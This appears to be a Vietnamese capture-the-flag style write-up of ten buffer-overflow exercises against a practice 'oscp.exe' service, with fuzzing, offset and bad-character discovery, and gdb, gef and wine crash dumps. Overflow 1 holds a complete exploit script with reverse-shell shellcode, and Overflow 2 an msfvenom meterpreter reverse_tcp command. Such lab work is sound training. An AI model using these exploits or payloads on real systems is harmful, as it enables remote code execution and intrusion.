Overflow 1

Sα»­ dα»₯ng script sau để fuzzing:

#!/usr/bin/env python3
 
import socket, time, sys
 
ip = "127.0.0.1"
 
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
 
string = prefix + "A" * 100
 
while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

ChΖ°Ζ‘ng trΓ¬nh crash vα»›i chuα»—i cΓ³ Δ‘α»™ dΓ i 2000-byte. Sα»­ dα»₯ng chuα»—i de Brujin cΓ³ Δ‘α»™ dΓ i 2400-byte thΓ¬ tΓ¬m được offset ở vα»‹ trΓ­ 1978 byte.

Sα»­ dα»₯ng cΓ‘c script của mona ở trong Immunity Debugger, tΓ¬m được cΓ‘c bad character nhΖ° sau: 0x00 0x07 0x2e 0xa0 (loαΊ‘i trα»« 0x08 0x2f 0xa1 vΓ¬ cΓ‘c byte nΓ y bα»‹ αΊ£nh hưởng bởi byte trΖ°α»›c Δ‘Γ³ chα»© khΓ΄ng thα»±c sα»± lΓ  bad character).

Mα»™t sα»‘ Δ‘α»‹a chỉ của chỉ thα»‹ jmp esp:

  • 0x62501203
  • 0x62501205

ViαΊΏt script để khai thΓ‘c nhΖ° sau:

import socket
 
ip = "10.10.131.227"
port = 1337
 
prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "\x03\x12\x50\x62"
padding = "\x90" * 16
payload = ("\xbf\xf7\xaf\x90\x35\xda\xd9\xd9\x74\x24\xf4\x5a\x33\xc9"
"\xb1\x52\x31\x7a\x12\x83\xea\xfc\x03\x8d\xa1\x72\xc0\x8d"
"\x56\xf0\x2b\x6d\xa7\x95\xa2\x88\x96\x95\xd1\xd9\x89\x25"
"\x91\x8f\x25\xcd\xf7\x3b\xbd\xa3\xdf\x4c\x76\x09\x06\x63"
"\x87\x22\x7a\xe2\x0b\x39\xaf\xc4\x32\xf2\xa2\x05\x72\xef"
"\x4f\x57\x2b\x7b\xfd\x47\x58\x31\x3e\xec\x12\xd7\x46\x11"
"\xe2\xd6\x67\x84\x78\x81\xa7\x27\xac\xb9\xe1\x3f\xb1\x84"
"\xb8\xb4\x01\x72\x3b\x1c\x58\x7b\x90\x61\x54\x8e\xe8\xa6"
"\x53\x71\x9f\xde\xa7\x0c\x98\x25\xd5\xca\x2d\xbd\x7d\x98"
"\x96\x19\x7f\x4d\x40\xea\x73\x3a\x06\xb4\x97\xbd\xcb\xcf"
"\xac\x36\xea\x1f\x25\x0c\xc9\xbb\x6d\xd6\x70\x9a\xcb\xb9"
"\x8d\xfc\xb3\x66\x28\x77\x59\x72\x41\xda\x36\xb7\x68\xe4"
"\xc6\xdf\xfb\x97\xf4\x40\x50\x3f\xb5\x09\x7e\xb8\xba\x23"
"\xc6\x56\x45\xcc\x37\x7f\x82\x98\x67\x17\x23\xa1\xe3\xe7"
"\xcc\x74\xa3\xb7\x62\x27\x04\x67\xc3\x97\xec\x6d\xcc\xc8"
"\x0d\x8e\x06\x61\xa7\x75\xc1\x84\x33\x3a\x32\xf1\x41\xc4"
"\x31\x38\xcf\x22\x53\x2a\x99\xfd\xcc\xd3\x80\x75\x6c\x1b"
"\x1f\xf0\xae\x97\xac\x05\x60\x50\xd8\x15\x15\x90\x97\x47"
"\xb0\xaf\x0d\xef\x5e\x3d\xca\xef\x29\x5e\x45\xb8\x7e\x90"
"\x9c\x2c\x93\x8b\x36\x52\x6e\x4d\x70\xd6\xb5\xae\x7f\xd7"
"\x38\x8a\x5b\xc7\x84\x13\xe0\xb3\x58\x42\xbe\x6d\x1f\x3c"
"\x70\xc7\xc9\x93\xda\x8f\x8c\xdf\xdc\xc9\x90\x35\xab\x35"
"\x20\xe0\xea\x4a\x8d\x64\xfb\x33\xf3\x14\x04\xee\xb7\x35"
"\xe7\x3a\xc2\xdd\xbe\xaf\x6f\x80\x40\x1a\xb3\xbd\xc2\xae"
"\x4c\x3a\xda\xdb\x49\x06\x5c\x30\x20\x17\x09\x36\x97\x18"
"\x18")
postfix = ""
 
buffer = prefix + overflow + retn + padding + payload + postfix
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Shellcode ở trong payload lΓ  mα»™t reverse shell:

Overflow 2

ChΖ°Ζ‘ng trΓ¬nh crash khi truyền vΓ o chuα»—i cΓ³ kΓ­ch thΖ°α»›c 2000-byte.

TΓ¬m được offset ở vα»‹ trΓ­ 634 vΓ  cΓ‘c bad character lΓ  0x00 0x23 0x3c 0x83 0xba.

TαΊ‘o ra mα»™t shellcode cΓ³ chα»©a meterpreter shell:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=1337 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c

VΓ¬ việc tΖ°Ζ‘ng tΓ‘c vα»›i mΓ‘y mα»₯c tiΓͺu thΓ΄ng qua RDP quΓ‘ chαΊ­m nΓͺn ta sαΊ½ tαΊ£i về tαΊ­p tin thα»±c thi để cΓ³ thể phΓ’n tΓ­ch ở mΓ‘y của kαΊ» tαΊ₯n cΓ΄ng.

Để cΓ³ thể chαΊ‘y tαΊ­p tin thα»±c thi ở trΓͺn Linux, ta cΓ³ thể dΓΉng wine vΓ  debug bαΊ±ng gdb kαΊΏt hợp vα»›i gef. Điểm trα»« của việc nΓ y lΓ  ta khΓ΄ng cΓ³ cΓ‘c mona script của Immunity Debugger để thα»±c thi mα»™t sα»‘ tΓ‘c vα»₯ tα»± Δ‘α»™ng.

Việc khai thΓ‘c tΖ°Ζ‘ng tα»± vα»›i Overflow 1: Δ‘α»‹a chỉ của jmp esp vΓ  sα»‘ lượng byte đệm khΓ΄ng thay Δ‘α»•i.

Overflow 3

ChΖ°Ζ‘ng trΓ¬nh crash khi truyền vΓ o chuα»—i cΓ³ kΓ­ch thΖ°α»›c 1300 byte.

Note

Quay trở lαΊ‘i sα»­ dα»₯ng Immunity Debugger + mona do gdb khΓ΄ng thoΓ‘t ra khi mα»™t thread bα»‹ crash.

Note

Mα»™t lΓ‘t sau, phΓ‘t hiện rαΊ±ng ta cΓ³ thể chuyển thread ở trong gdb sα»­ dα»₯ng lệnh thread # sau khi kαΊΏt nα»‘i của socket Δ‘Γ£ được thiαΊΏt lαΊ­p 🀣.

TΓ¬m được offset ở vα»‹ trΓ­ 1274 thΓ΄ng qua cΓ‘c hΓ m của pwntools:

>>> from pwn import *
>>> g = cyclic_gen()
>>> g.get(1700)
>>> ...
>>> g.find(0x61746d61)
(1274, 0, 1274)

Sα»­ dα»₯ng script sau để tαΊ‘o ra cΓ‘c bad character vΓ  lΖ°u chΓΊng vΓ o tαΊ­p tin:

with open("badchars.bin", "wb") as f:
    for x in range(1, 256):
        if x not in [0x00]:
            print("\\x" + "{:02x}".format(x), end='')
            f.write(bytes([x]))
print()

Để xΓ‘c Δ‘α»‹nh bad characters trong gdb, cαΊ§n tαΊ‘o mα»™t payload ghi Δ‘Γ¨ giΓ‘ trα»‹ của thanh ghi EIP vα»›i mα»™t Δ‘α»‹a chỉ chα»©a lệnh jmp esp vΓ  Δ‘αΊ·t break point ở Δ‘Γ³:

prefix = "OVERFLOW3 "
offset = 1274
overflow = "A" * offset
retn = "\x03\x12\x50\x62"
padding = ""
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""

Điều nΓ y cho phΓ©p quan sΓ‘t toΓ n bα»™ cΓ‘c bad character trΓͺn stack ngay khi EIP được thα»±c thi:

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x00eef4f0  β†’  "OVERFLOW3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebx   : 0x41414141 ("AAAA"?)
$ecx   : 0x00eef4f0  β†’  "OVERFLOW3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$edx   : 0x0       
$esp   : 0x00eef9f8  β†’  0x04030201  β†’  0x00000000
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x0       
$edi   : 0x0       
$eip   : 0x62501203  β†’  0xe4ffe4ff  β†’  0x00000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x63 $gs: 0x6b 
──────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00eef9f8β”‚+0x0000: 0x04030201  β†’  0x00000000	← $esp
0x00eef9fcβ”‚+0x0004: 0x08070605  β†’  0x00000000
0x00eefa00β”‚+0x0008: 0x0c0b0a09  β†’  0x00000000
0x00eefa04β”‚+0x000c: 0x100f0e0d  β†’  0x00000000
0x00eefa08β”‚+0x0010: 0x14130d0a  β†’  0x00000000
0x00eefa0cβ”‚+0x0014: 0x18171615  β†’  0x00000000
0x00eefa10β”‚+0x0018: 0x1c1b1a19  β†’  0x00000000
0x00eefa14β”‚+0x001c: 0x201f1e1d
────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
   0x625011ff                  ret    
   0x62501200                  push   ebp
   0x62501201                  mov    ebp, esp
●→ 0x62501203                  jmp    esp
   0x62501205                  jmp    esp
   0x62501207                  jmp    DWORD PTR [esp-0xc]
   0x6250120b                  pop    ecx
   0x6250120c                  pop    ecx
   0x6250120d                  ret    
────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "oscp.exe", stopped 0xef13d579 in __kernel_vsyscall (), reason: BREAKPOINT
[#1] Id 2, Name: "oscp.exe", stopped 0x62501203 in ?? (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x62501203 β†’ jmp esp
───────────────────────────────────────────────────────────────────────────────────────────────────

TrΓ­ch xuαΊ₯t giΓ‘ trα»‹ của cΓ‘c bad character ở trΓͺn stack ra tαΊ­p tin dump.bin. Sau Δ‘Γ³, sα»­ dα»₯ng script sau để so sΓ‘nh hai tαΊ­p tin:

import sys
 
def compare_files(file1, file2):
    try:
        with open(file1, "rb") as f1, open(file2, "rb") as f2:
            addr = 0
 
            while True:
                block1 = f1.read(16)
                block2 = f2.read(16)
 
                if not block1 and not block2:
                    break  # End of both files
 
                # Compare blocks and print differing bytes
                for i in range(len(block1)):
                    if i < len(block2) and block1[i] != block2[i]:
                        print(f"Difference at {addr + i:08x}: {block1[i]:02x} ({file1}) != {block2[i]:02x} ({file2})")
 
                addr += 16
 
            print("Comparison complete.")
 
    except FileNotFoundError as e:
        print(f"Error: {e}")
        sys.exit(1)
 
if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python compare_files.py <file1> <file2>")
        sys.exit(1)
 
    file1, file2 = sys.argv[1], sys.argv[2]
    compare_files(file1, file2)

TΓ¬m thαΊ₯y cΓ‘c bad character lΓ : 0x00 0x11 0x40 0x5F 0xb8 0xee.

XΓ’y dα»±ng script khai thΓ‘c vΓ  gα»­i Δ‘i.

Note

Tα»« task nΓ y trở Δ‘i, mọi thα»© chỉ dα»«ng lαΊ‘i ở việc tΓ¬m được offset vΓ  cΓ‘c bad character.

Overflow 4

TrαΊ‘ng thΓ‘i của gdb ngay tαΊ‘i thời Δ‘iểm chΖ°Ζ‘ng trΓ¬nh bα»‹ crash:

[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x00eef200  β†’  "OVERFLOW4 tabduabdvabdwabdxabdyabdzabebabecabedabe[...]"
$ebx   : 0x61797862 ("bxya"?)
$ecx   : 0x00eef200  β†’  "OVERFLOW4 tabduabdvabdwabdxabdyabdzabebabecabedabe[...]"
$edx   : 0x0       
$esp   : 0x00eef9f8  β†’  "bycabydabyeabyfabygabyhabyiabyjabykabylabymabynaby[...]"
$ebp   : 0x617a7862 ("bxza"?)
$esi   : 0x0       
$edi   : 0x0       
$eip   : 0x61627962 ("byba"?)
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x63 $gs: 0x6b 
────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00eef9f8β”‚+0x0000: "bycabydabyeabyfabygabyhabyiabyjabykabylabymabynaby[...]"	← $esp
0x00eef9fcβ”‚+0x0004: "bydabyeabyfabygabyhabyiabyjabykabylabymabynabyoaby[...]"
0x00eefa00β”‚+0x0008: "byeabyfabygabyhabyiabyjabykabylabymabynabyoabypaby[...]"
0x00eefa04β”‚+0x000c: "byfabygabyhabyiabyjabykabylabymabynabyoabypabyqaby[...]"
0x00eefa08β”‚+0x0010: "bygabyhabyiabyjabykabylabymabynabyoabypabyqabyraby[...]"
0x00eefa0cβ”‚+0x0014: "byhabyiabyjabykabylabymabynabyoabypabyqabyrabysaby[...]"
0x00eefa10β”‚+0x0018: "byiabyjabykabylabymabynabyoabypabyqabyrabysabytaby[...]"
0x00eefa14β”‚+0x001c: "byjabykabylabymabynabyoabypabyqabyrabysabytabyuaby[...]"
──────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61627962
──────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "oscp.exe", stopped 0xf4d5d579 in __kernel_vsyscall (), reason: SIGSEGV
[#1] Id 2, Name: "oscp.exe", stopped 0x61627962 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────────────

TΓ¬m được offset ở 2026:

>>> g.find(0x61627962)
(5000, 2, 2026)

TΓ¬m được cΓ‘c bad character: \x00\xa9\xcd\xd4.

Overflow 5

ChΓΊng ta cΕ©ng cΓ³ thể tαΊ­n dα»₯ng crash dump của wine để xΓ‘c Δ‘α»‹nh giΓ‘ trα»‹ ở trong EIP mΓ  khΓ΄ng cαΊ§n dΓΉng gdb:

Register dump:
 CS:0023 SS:002b DS:002b ES:002b FS:0063 GS:006b
 EIP:66636179 ESP:00eef9f8 EBP:66636178 EFLAGS:00010246(  R- --  I  Z- -P- )
 EAX:00eef8b0 EBX:66636177 ECX:00eef8b0 EDX:00000000
 ESI:00000000 EDI:00000000
Stack dump:
0x00eef9f8:  6763617a 67636162 67636163 67636164
0x00eefa08:  67636165 67636166 67636167 67636168
0x00eefa18:  67636169 6763616a 6763616b 6763616c
0x00eefa28:  6763616d 6763616e 6763616f 67636170
0x00eefa38:  67636171 67636172 67636173 67636174
0x00eefa48:  67636175 67636176 67636177 67636178
Backtrace:
=>0 0x66636179 (0x66636178)

TΓ¬m thαΊ₯y offset ở 314.

CΓ‘c bad character lΓ  \x00\x16\x2f\xf4\xfd.

Overflow 6

Crash dump:

Register dump:
 CS:0023 SS:002b DS:002b ES:002b FS:0063 GS:006b
 EIP:61686164 ESP:00eef9f8 EBP:61676164 EFLAGS:00010246(  R- --  I  Z- -P- )
 EAX:00eef5e0 EBX:61666164 ECX:00eef5e0 EDX:00000000
 ESI:00000000 EDI:00000000

Offset: 1034.

Bad characters: \x00\x08\x2c\xad.

Overflow 7

Crash dump:

Register dump:
 CS:0023 SS:002b DS:002b ES:002b FS:0063 GS:006b
 EIP:72656164 ESP:00eef9f8 EBP:72656163 EFLAGS:00010246(  R- --  I  Z- -P- )
 EAX:00eef4d0 EBX:72656162 ECX:00eef4d0 EDX:00000000
 ESI:00000000 EDI:00000000

Offset:Β 1306.

Bad characters:Β \x00\x8c\xae\xbe\xfb.

Overflow 8

Offset:Β 1786.

Bad characters:Β \x00\x1d\x2e\xc7\xee.

Overflow 9

Offset: 1514.

Bad characters: \x00\x04\x3e\x3f\xe1. CαΊ§n thα»±c hiện hai lαΊ§n để thu được cΓ‘c giΓ‘ trα»‹ nΓ y:

─❯ python bindiff.py badchars.bin dump.bin
Difference at 00000003: 04 (badchars.bin) != 0a (dump.bin)
Difference at 00000004: 05 (badchars.bin) != 0d (dump.bin)
Difference at 0000003d: 3e (badchars.bin) != 0a (dump.bin)
Difference at 0000003e: 3f (badchars.bin) != 0d (dump.bin)
Difference at 000000e0: e1 (badchars.bin) != 0a (dump.bin)
Difference at 000000e1: e2 (badchars.bin) != 0d (dump.bin)
Comparison complete.
─❯ python bindiff.py badchars.bin dump.bin
Difference at 0000003c: 3f (badchars.bin) != 0a (dump.bin)
Difference at 0000003d: 40 (badchars.bin) != 0d (dump.bin)
Comparison complete.

Overflow 10

Offset: 537.